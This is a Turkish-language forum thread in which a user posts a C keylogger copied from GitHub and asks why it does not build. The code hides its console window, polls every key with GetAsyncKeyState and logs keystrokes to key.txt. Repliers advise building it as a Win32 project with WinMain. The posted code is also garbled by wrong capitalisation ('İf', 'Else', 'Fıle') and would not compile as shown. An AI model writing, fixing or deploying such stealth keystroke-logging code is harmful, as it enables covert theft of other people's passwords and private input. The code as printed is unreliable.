C kodu hata veriyor

Siberci07

Hectopat
Katılım
14 Eylül 2019
Mesajlar
2.581
Daha fazla  
Cinsiyet
Diğer
Not: Kodlar bana ait değildir GitHub'tan buldum kopyala yapıştır yaptım, ve bana böyle bir hata veriyor.

1628342516034.png


#Define _wIN32_WINnt 0x0500.

#include<stdio.h>
#include<stdlib.h>
#include<windows.h>

İnt g(int a){
Getasynckeystate(a);
}

Void main()
{
Hwnd hwnd=GetConsoleWindow();
//Showwindow(hwnd, sw_mınımıze); //wont hide the window, minimise.
Showwindow(hwnd, sw_hıde);

Fıle *fp;
Fp = fopen("key.txt","a");
İf(fp==null){
Puts("sorry! Cant open file");
Exit(1);
}
While(1){

Sleep(140);
//Numbers ranging from 48 - 57.
İf(getasynckeystate(48) || g(96))fputs("0",fp);
Else if(getasynckeystate(49) || g(97))fputs("1",fp);
Else if(getasynckeystate(50) || g(98))fputs("2",fp);
Else if(getasynckeystate(51) || g(99))fputs("3",fp);
Else if(getasynckeystate(52) || g(100))fputs("4",fp);
Else if(getasynckeystate(53) || g(101))fputs("5",fp);
Else if(getasynckeystate(54) || g(102))fputs("6",fp);
Else if(getasynckeystate(55) || g(103))fputs("7",fp);
Else if(getasynckeystate(56) || g(104))fputs("8",fp);
Else if(getasynckeystate(57) || g(105))fputs("9",fp);
//Alphabets uppercase from 65-90
Else if(getasynckeystate(65))fputs("a",fp);
Else if(getasynckeystate(66))fputs("b",fp);
Else if(getasynckeystate(67))fputs("C",fp);
Else if(getasynckeystate(68))fputs("D",fp);
Else if(getasynckeystate(69))fputs("e",fp);
Else if(getasynckeystate(70))fputs("F",fp);
Else if(getasynckeystate(71))fputs("g",fp);
Else if(getasynckeystate(72))fputs("h",fp);
Else if(getasynckeystate(73))fputs("i",fp);
Else if(getasynckeystate(74))fputs("j",fp);
Else if(getasynckeystate(75))fputs("k",fp);
Else if(getasynckeystate(76))fputs("l",fp);
Else if(getasynckeystate(77))fputs("m",fp);
Else if(getasynckeystate(79))fputs("o",fp);
Else if(getasynckeystate(80))fputs("p",fp);
Else if(getasynckeystate(81))fputs("Q",fp);
Else if(getasynckeystate(82))fputs("r",fp);
Else if(getasynckeystate(83))fputs("s",fp);
Else if(getasynckeystate(84))fputs("t",fp);
Else if(getasynckeystate(85))fputs("u",fp);
Else if(getasynckeystate(86))fputs("v",fp);
Else if(getasynckeystate(87))fputs("W",fp);
Else if(getasynckeystate(88))fputs("X",fp);
Else if(getasynckeystate(89))fputs("y",fp);
Else if(getasynckeystate(90))fputs("Z",fp);
//Special characters.
Else if(getasynckeystate(32))fputs(" ",fp); //space
Else if(getasynckeystate(8))fputs("[BACKSPACE]",fp); //backspace
Else if(getasynckeystate(13))fputs("[ENTER]",fp); //enter
Else if(getasynckeystate(16))fputs("[SHIFT]",fp);
Else if(getasynckeystate(20))fputs("[CAPS]",fp);

Else if(getasynckeystate(vk_escape || vk_f1)){
Fclose(fp);
Break;
}
}
Fclose(fp);

}
 
C:
Void main()

{

 Hwnd hwnd=GetConsoleWindow();

 //Showwindow(hwnd, sw_mınımıze); //wont hide the window, minimise.

 Showwindow(hwnd, sw_hıde);



 Fıle *fp;

 Fp = fopen("key.txt","a");

 İf(fp==null){

 Puts("sorry! Cant open file");

 Exit(1);

 }

 While(1){



 Sleep(140);

 //Numbers ranging from 48 - 57.

 İf(getasynckeystate(48) || g(96))fputs("0",fp);

 Else if(getasynckeystate(49) || g(97))fputs("1",fp);

 Else if(getasynckeystate(50) || g(98))fputs("2",fp);

 Else if(getasynckeystate(51) || g(99))fputs("3",fp);

 Else if(getasynckeystate(52) || g(100))fputs("4",fp);

 Else if(getasynckeystate(53) || g(101))fputs("5",fp);

 Else if(getasynckeystate(54) || g(102))fputs("6",fp);

 Else if(getasynckeystate(55) || g(103))fputs("7",fp);

 Else if(getasynckeystate(56) || g(104))fputs("8",fp);

 Else if(getasynckeystate(57) || g(105))fputs("9",fp);

 //Alphabets uppercase from 65-90

 Else if(getasynckeystate(65))fputs("a",fp);

 Else if(getasynckeystate(66))fputs("b",fp);

 Else if(getasynckeystate(67))fputs("C",fp);

 Else if(getasynckeystate(68))fputs("D",fp);

 Else if(getasynckeystate(69))fputs("e",fp);

 Else if(getasynckeystate(70))fputs("F",fp);

 Else if(getasynckeystate(71))fputs("g",fp);

 Else if(getasynckeystate(72))fputs("h",fp);

 Else if(getasynckeystate(73))fputs("i",fp);

 Else if(getasynckeystate(74))fputs("j",fp);

 Else if(getasynckeystate(75))fputs("k",fp);

 Else if(getasynckeystate(76))fputs("l",fp);

 Else if(getasynckeystate(77))fputs("m",fp);

 Else if(getasynckeystate(79))fputs("o",fp);

 Else if(getasynckeystate(80))fputs("p",fp);

 Else if(getasynckeystate(81))fputs("Q",fp);

 Else if(getasynckeystate(82))fputs("r",fp);

 Else if(getasynckeystate(83))fputs("s",fp);

 Else if(getasynckeystate(84))fputs("t",fp);

 Else if(getasynckeystate(85))fputs("u",fp);

 Else if(getasynckeystate(86))fputs("v",fp);

 Else if(getasynckeystate(87))fputs("W",fp);

 Else if(getasynckeystate(88))fputs("X",fp);

 Else if(getasynckeystate(89))fputs("y",fp);

 Else if(getasynckeystate(90))fputs("Z",fp);

 //Special characters.

 Else if(getasynckeystate(32))fputs(" ",fp); //space

 Else if(getasynckeystate(8))fputs("[BACKSPACE]",fp); //backspace

 Else if(getasynckeystate(13))fputs("[ENTER]",fp); //enter

 Else if(getasynckeystate(16))fputs("[SHIFT]",fp);

 Else if(getasynckeystate(20))fputs("[CAPS]",fp);



 Else if(getasynckeystate(vk_escape || vk_f1)){

 Fclose(fp);

 Break;

 }

 }

 Fclose(fp);



}
 
Win32 API'si kullanarak uygulama derlemek için makefile'ın içerisinde kütüphanelerde -lwindows seçeneği olmalı. Bu olmadığı için de linker hatası alıyorsun. Ben olsam Win32 projesi olarak açardım Dev-C++'ta, ve gelen kodları temizleyip bu kodları koyardım. Denerdim bunu en azından.
 
Win32 API'si kullanarak uygulama derlemek için Makefile'ın içerisinde kütüphanelerde -lwindows seçeneği olmalı. Bu olmadığı için de linker hatası alıyorsun. Ben olsam Win32 projesi olarak açardım Dev-C++'ta, ve gelen kodları temizleyip bu kodları koyardım. Denerdim bunu en azından.

Fark etmemişim Windows fonksyonları kullanılıyor o yüzden WinMain ile yazmak daha mantıklı.
 
Win32 API'si kullanarak uygulama derlemek için makefile'ın içerisinde kütüphanelerde -lwindows seçeneği olmalı. Bu olmadığı için de linker hatası alıyorsun. Ben olsam Win32 projesi olarak açardım Dev-C++'ta, ve gelen kodları temizleyip bu kodları koyardım. Denerdim bunu en azından.
Evet ya ben consol uygulaması yapmışım özür dilerim teşekkür ederim :D
 
Uyarı! Bu konu 5 yıl önce açıldı.
Muhtemelen daha fazla tartışma gerekli değildir ki bu durumda yeni bir konu başlatmayı öneririz. Eğer yine de cevabınızın gerekli olduğunu düşünüyorsanız buna rağmen cevap verebilirsiniz.

Technopat Haberler

Yeni mesajlar

Geri
Yukarı